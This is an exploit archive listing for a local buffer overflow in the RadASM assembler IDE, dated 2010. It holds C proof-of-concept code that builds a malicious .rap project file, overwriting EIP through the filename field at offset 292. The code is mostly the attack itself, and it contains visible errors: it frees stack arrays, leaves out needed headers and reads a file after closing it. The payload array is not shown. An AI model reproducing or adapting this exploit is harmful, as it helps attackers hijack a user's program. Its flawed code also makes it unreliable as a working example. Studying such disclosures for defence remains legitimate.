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Radasm .rap Local Buffer Overflow

Radasm .rap Local Buffer Overflow
Posted Feb 12, 2010
Authored by fl0 fl0w

Radasm local buffer overflow proof of concept exploit that creates a malicious .rap file.

tags | exploit, overflow, local, proof of concept
SHA-256 | e4c3d722260b66655d90ed7d614dfaa7b189d85b1dcbad2eac228e1811f84483

Radasm .rap Local Buffer Overflow

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/*Radasm .rap file local buffer overflow POC
I'll be back in a few hours with the exploit.
The vuln is in the filename field.
snip
[Files]...1=AVP OVERFLOW...
snip
*/
#include<stdio.h>
void gen_random(char*,const int);
void print(char*);
unsigned int getFsize(FILE*,char*);
void buildfile(char*);
#define VULNF "qq.rap"
#define VER "2.2.1.6"
#define POCNAME "Radasm .rap file local buffer overflow POC"
#define AUTHOR "fl0 fl0w"
#define IF(x,NULL) if(x==NULL)
#define FOR(i,a,b) for(i=a;i<b;++i)
#define EIPOFFSET 0xDD
#define NUL '\0'
#define CLEAR(x) free(x)
char file[]={ //1534 bytes
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int main(){
printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);
buildfile(VULNF);
print("DONE!");
getchar();
return 0;
}
void buildfile(char* fname){
char buffer[100000];
char eip[]="\x55\x55\x55\x55"; //offset=292
gen_random(buffer,5000);
memcpy(buffer,file,strlen(file));
memcpy(buffer+292,eip,4);
FILE* f=fopen(fname,"wb");
if(f){
fwrite(buffer,1,1534,f);
fclose(f);
}
else {
print("Error in writing file");
exit(0);
}
free(buffer);
free(file);
int sz=getFsize(f,fname);
printf("[!]File is %d bytes\n",sz);
}
unsigned int getFsize(FILE* g,char* gname)
{
unsigned int s;

g=fopen(gname,"rb");

IF(g,NULL)
{
print("File error at reading");
exit(0);
}
fseek(g,0,SEEK_END);
s=ftell(g);

return s;
}
void print(char* msg)
{
printf("[*]%s\n",msg);
}
void gen_random(char *s, const int len)
{ int i; //helps u find the offsets
static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

FOR(i,0,len)
{
s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
}
s[len]=0;
}


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